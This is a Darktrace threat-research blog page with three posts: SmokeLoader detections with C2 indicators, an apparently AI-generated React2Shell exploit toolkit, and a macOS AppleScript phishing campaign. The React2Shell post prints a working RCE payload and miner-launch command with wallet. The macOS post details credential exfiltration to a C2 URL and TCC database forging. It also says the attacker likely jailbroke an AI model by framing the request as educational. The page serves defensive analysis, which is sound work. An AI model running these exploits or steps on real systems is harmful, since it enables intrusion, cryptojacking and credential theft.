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January 31, 2024

How Darktrace Defeated SmokeLoader Malware

Read how Darktrace's AI identified and neutralized SmokeLoader malware. Gain insights into their proactive approach to cybersecurity.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Patrick Anjos
Senior Cyber Analyst
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31
Jan 2024

What is Loader Malware?

Loader malware is a type of malicious software designed primarily to infiltrate a system and then download and execute additional malicious payloads.

In recent years, loader malware has emerged as a significant threat for organizations worldwide. This trend is expected to continue given the widespread availability of many loader strains within the Malware-as-a-Service (MaaS) marketplace. The MaaS marketplace contains a wide variety of innovative strains which are both affordable, with toolkits ranging from USD 400 to USD 1,650 [1], and continuously improving, aiming to avoid traditional detection mechanisms.

SmokeLoader is one such example of a MaaS strain that has been observed in the wild since 2011 and continues to pose a significant threat to organizations and their security teams.

How does SmokeLoader Malware work?

SmokeLoader’s ability to drop an array of different malware strains onto infected systems, from backdoors, ransomware, cryptominers, password stealers, point-of-sale malware and banking trojans, means its a highly versatile loader that has remained consistently popular among threat actors.

In addition to its versatility, it also exhibits advanced evasion strategies that make it difficult for traditional security solutions to detect and remove, and it is easily distributed via methods like spam emails or malicious file downloads.

Between July and August 2023, Darktrace observed an increasing trend in SmokeLoader compromises across its customer base. The anomaly-based threat detection capabilities of Darktrace, coupled with the autonomous response technology, identified and contained the SmokeLoader infections in their initial stages, preventing attackers from causing further disruption by deploying other malicious software or ransomware.

SmokeLoader Malware Attack Details

PROPagate Injection Technique

SmokeLoader utilizes the PROPagate code injection technique, a less common method that inserts malicious code into existing processes in order to appear legitimate and bypass traditional signature-based security measures [2] [3]. In the case of SmokeLoader, this technique exploits the Windows SetWindowsSubclass function, which is typically used to add or change the behavior of Windows Operation System. By manipulating this function, SmokeLoader can inject its code into other running processes, such as the Internet Explorer. This not only helps to disguise  the malware's activity but also allows attackers to leverage the permissions and capabilities of the infected process.

Obfuscation Methods

SmokeLoader is known to employ several obfuscation techniques to evade the detection and analysis of security teams. The techniques include scrambling portable executable files, encrypting its malicious code, obfuscating API functions and packing, and are intended to make the malware’s code appear harmless or unremarkable to antivirus software. This allows attackers to slip past defenses and execute their malicious activities while remaining undetected.

Infection Vector and Communication

SmokeLoader typically spreads via phishing emails that employ social engineering tactics to convince users to unknowingly download malicious payloads and execute the malware. Once installed on target networks, SmokeLoader acts as a backdoor, allowing attackers to control infected systems and download further malicious payloads from command-and-control (C2) servers. SmokeLoader uses fast flux, a DNS technique utilized by botets whereby IP addresses associated with C2 domains are rapidly changed, making it difficult to trace the source of the attack. This technique also boosts the resilience of attack, as taking down one or two malicious IP addresses will not significantly impact the botnet's operation.

Continuous Evolution

As with many MaaS strains, SmokeLoader is continuously evolving, with its developers regularly adding new features and techniques to increase its effectiveness and evasiveness. This includes new obfuscation methods, injection techniques, and communication protocols. This constant evolution makes SmokeLoader a significant threat and underscores the importance of advanced threat detection and response capabilities solution.

Darktrace’s Coverage of SmokeLoader Attack

Between July and August 2023, Darktrace detected one particular SmokeLoader infection at multiple stages of its kill chain on a customer network. This detection was made possible by Darktrace DETECT’s anomaly-based approach and Self-Learning AI that allows it to identify subtle deviations in device behavior.

One of the key components of this process is the classification of endpoint rarity and determining whether an endpoint is new or unusual for any given network. This classification is applied to various aspects of observed endpoints, such as domains, IP addresses, or hostnames within the network. It thereby plays a vital role in identifying SmokeLoader activity, such as the initial infection vector or C2 communication, which typically involve a device contacting a malicious endpoint associated with SmokeLoader.

The First Signs of Infection SmokeLoader Infection

Beginning in July 2023, Darktrace observed a surge in suspicious activities that were assessed with moderate to high confidence to be associated with SmokeLoader malware.

For example on July 30, a device was observed making a successful HTTPS request to humman[.]art, a domain that had never been seen on the network, and therefore classified as 100% rare by DETECT. During this connection, the device in question received a total of 6.0 KiB of data from the unusual endpoint. Open-source intelligence (OSINT) sources reported with high confidence that this domain was associated with the SmokeLoader C2 botnet.

The device was then detected making an HTTP request to another 100% rare external IP, namely 85.208.139[.]35, using a new user agent. This request contained the URI ‘/DefenUpdate.exe’, suggesting a possible download of an executable (.exe) file. This was corroborated by the total amount of data received in this connection, 4.3 MB. Both the file name and its size suggest that the offending device may have downloaded additional malicious tooling from the SmokeLoader C2 endpoint, such as a trojan or information stealer, as reported on OSINT platforms [4].

Figure 1: Device event log showing the moment when a device made its first connection to a SmokeLoader associated domain, and the use of a new user agent. A few seconds later, the DETECT model “Anomalous Connection / New User Agent to IP Without Hostname” breached.

The observed new user agent, “Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko” was identified as suspicious by Darktrace leading to the “Anomalous Connection / New User Agent to IP Without Hostname” DETECT model breach.

As this specific user agent was associated with the Internet Explorer browser running on Windows 10, it may not have appeared suspicious to traditional security tools. However, Darktrace’s anomaly-based detection allows it to identify and mitigate emerging threats, even those that utilize sophisticated evasion techniques.

This is particularly noteworthy in this case because, as discussed earlier, SmokeLoader is known to inject its malicious code into legitimate processes, like Internet Explorer.

Figure 2: Darktrace detecting the affected device leveraging a new user agent and establishing an anomalous HTTP connection with an external IP, which was 100% rare to the network.

C2 Communication

Darktrace continued to observe the device making repeated connections to the humman[.]art endpoint. Over the next few days. On August 7, the device was observed making unusual POST requests to the endpoint using port 80, breaching the ‘Anomalous Connection / Multiple HTTP POSTs to Rare Hostname’ DETECT model. These observed POST requests were observed over a period of around 10 days and consisted of a pattern of 8 requests, each with a ten-minute interval.

Figure 3: Model Breach Event Log highlighting the Darktrace DETECT model breach ‘Anomalous Connection / Multiple HTTP POSTs to Rare Hostname’.

Upon investigating the details of this activity identified by Darktrace DETECT, a particular pattern was observed in these requests: they used the same user-agent, “Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko”, which was previously detected in the initial breach.

Additionally, they the requests had a constantly changing  eferrer header, possibly using randomly generated domain names for each request. Further examination of the packet capture (PCAP) from these requests revealed that the payload in these POST requests contained an RC4 encrypted string, strongly indicating SmokeLoader C2 activity.

Figure4: Advanced Search results display an unusual pattern in the requests made by the device to the hostname humman[.]art. This pattern shows a constant change in the referrer header for each request, indicating anomalous behavior.
Figure 5: The PCAP shows the payload seen in these POST requests contained an RC4 encrypted string strongly indicating SmokeLoader C2 activity.  

Unfortunately in this case, Darktrace RESPOND was not active on the network meaning that the attack was able to progress through its kill chain. Despite this, the timely alerts and detailed incident insights provided by Darktrace DETECT allowed the customer’s security team to begin their remediation process, implementing blocks on their firewall, thus preventing the SmokeLoader malware from continuing its communication with C2 infrastructure.

Darktrace RESPOND Halting Potential Threats from the Initial Stages of Detection

With Darktrace RESPOND, organizations can move beyond threat detection to proactive defense against emerging threats. RESPOND is designed to halt threats as soon as they are identified by DETECT, preventing them from escalating into full-blown compromises. This is achieved through advanced machine learning and Self-Learning AI that is able to understand  the normal ‘pattern of life’ of customer networks, allowing for swift and accurate threat detection and response.

One pertinent example was seen on July 6, when Darktrace detected a separate SmokeLoader case on a customer network with RESPOND enabled in autonomous response mode. Darktrace DETECT initially identified a string of anomalous activity associated with the download of suspicious executable files, triggering the ‘Anomalous File / Multiple EXE from Rare External Locations’ model to breach.

The device was observed downloading an executable file (‘6523.exe’ and ‘/g.exe’) via HTTP over port 80. These downloads originated from endpoints that had never been seen within the customer’s environment, namely ‘hugersi[.]com’ and ‘45.66.230[.]164’, both of which had strongly been linked to SmokeLoader by OSINT sources, likely indicating the initial infection stage of the attack [5].

Figure 6: This figure illustrates Darktrace DETECT observing a device downloading multiple .exe files from rare endpoints and the associated model breach, ‘Anomalous File / Multiple EXE from Rare External Locations’.

Around the same time, Darktrace also observed the same device downloading an unusual file with a numeric file name. Threat actors often employ this tactic in order to avoid using file name patterns that could easily be recognized and blocked by traditional security measures; by frequently changing file names, malicious executables are more likely to remain undetected.

Figure 7: Graph showing the unusually high number of executable files downloaded by the device during the initial infection stage of the attack. The orange and red circles represent the number of model breaches that the device made during the observed activity related to SmokeLoader infection.
Figure 8: This figure illustrates the moment when Darktrace DETECT identified a suspicious download with a numeric file name.

With Darktrace RESPOND active and enabled in autonomous response mode, the SmokeLoader infection was thwarted in the first instance. RESPOND took swift autonomous action by blocking connections to the suspicious endpoints identified by DETECT, blocking all outgoing traffic, and enforcing a pre-established “pattern of life” on offending devices. By enforcing a patten of life on a device, Darktrace RESPOND ensures that it cannot deviate from its ‘normal’ activity to carry out potentially malicious activity, while allowing the device to continue expected business operations.

Figure 9:  A total of 8 RESPOND actions were applied, including blocking connections to suspicious endpoints and domains associated with SmokeLoader.

In addition to the autonomous mitigative actions taken by RESPOND, this customer also received a Proactive Threat Notification (PTN) informing them of potentially malicious activity on their network. This prompted the Darktrace Security Operations Center (SOC) to investigate and document the incident, allowing the customer’s security team to shift their focus to remediating and removing the threat of SmokeLoader.

Conclusion

Ultimately, Darktrace showcased its ability to detect and contain versatile and evasive strains of loader malware, like SmokeLoader. Despite its adeptness at bypassing conventional security tools by frequently changing its C2 infrastructure, utilizing existing processes to infect malicious code, and obfuscating malicious file and domain names, Darktrace’s anomaly-based approach allowed it to recognize such activity as deviations from expected network behavior, regardless of their apparent legitimacy.

Considering SmokeLoader’s wide array of functions, including C2 communication that could be used to facilitate additional attacks like exfiltration, or even the deployment of information-stealers or ransomware, Darktrace proved to be crucial in safeguarding customer networks. By identifying and mitigating SmokeLoader at the earliest possible stage, Darktrace effectively prevented the compromises from escalating into more damaging and disruptive compromises.

With the threat of loader malware expected to continue growing alongside the boom of the MaaS industry, it is paramount for organizations to adopt proactive security solutions, like Darktrace DETECT+RESPOND, that are able to make intelligent decisions to identify and neutralize sophisticated attacks.

Credit to Patrick Anjos, Senior Cyber Analyst, Justin Torres, Cyber Analyst

Appendices

Darktrace DETECT Model Detections

- Anomalous Connection / New User Agent to IP Without Hostname

- Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

- Anomalous File / Multiple EXE from Rare External Locations

- Anomalous File / Numeric File Download

List of IOCs (IOC / Type / Description + Confidence)

- 85.208.139[.]35 / IP / SmokeLoader C2 Endpoint

- 185.174.137[.]109 / IP / SmokeLoader C2 Endpoint

- 45.66.230[.]164 / IP / SmokeLoader C2 Endpoint

- 91.215.85[.]147 / IP / SmokeLoader C2 Endpoint

- tolilolihul[.]net / Hostname / SmokeLoader C2 Endpoint

- bulimu55t[.]net / Hostname / SmokeLoader C2 Endpoint

- potunulit[.]org / Hostname / SmokeLoader C2 Endpoint

- hugersi[.]com / Hostname / SmokeLoader C2 Endpoint

- human[.]art / Hostname / SmokeLoader C2 Endpoint

- 371b0d5c867c2f33ae270faa14946c77f4b0953 / SHA1 / SmokeLoader Executable

References:

[1] https://bazaar.abuse.ch/sample/d7c395ab2b6ef69210221337ea292e204b0f73fef8840b6e64ab88595eda45b3/#intel

[2] https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

[3] https://www.darkreading.com/cyber-risk/breaking-down-the-propagate-code-injection-attack

[4] https://n1ght-w0lf.github.io/malware%20analysis/smokeloader/

[5] https://therecord.media/surge-in-smokeloader-malware-attacks-targeting-ukrainian-financial-gov-orgs

MITRE ATT&CK Mapping

Model: Anomalous Connection / New User Agent to IP Without Hostname

ID: T1071.001

Sub technique: T1071

Tactic: COMMAND AND CONTROL

Technique Name: Web Protocols

Model: Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

ID: T1185

Sub technique: -

Tactic: COLLECTION

Technique Name: Man in the Browser

ID: T1071.001

Sub technique: T1071

Tactic: COMMAND AND CONTROL

Technique Name: Web Protocols

Model: Anomalous File / Multiple EXE from Rare External Locations

ID: T1189

Sub technique: -

Tactic: INITIAL ACCESS

Technique Name: Drive-by Compromise

ID: T1588.001

Sub technique: - T1588

Tactic: RESOURCE DEVELOPMENT

Technique Name: Malware

Model: Anomalous File / Numeric File Download

ID: T1189

Sub technique: -

Tactic: INITIAL ACCESS

Technique Name: Drive-by Compromise

ID: T1588.001

Sub technique: - T1588

Tactic: RESOURCE DEVELOPMENT

Technique Name: Malware

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Patrick Anjos
Senior Cyber Analyst

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February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

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Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

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Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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About the author
Tara Gould
Malware Research Lead
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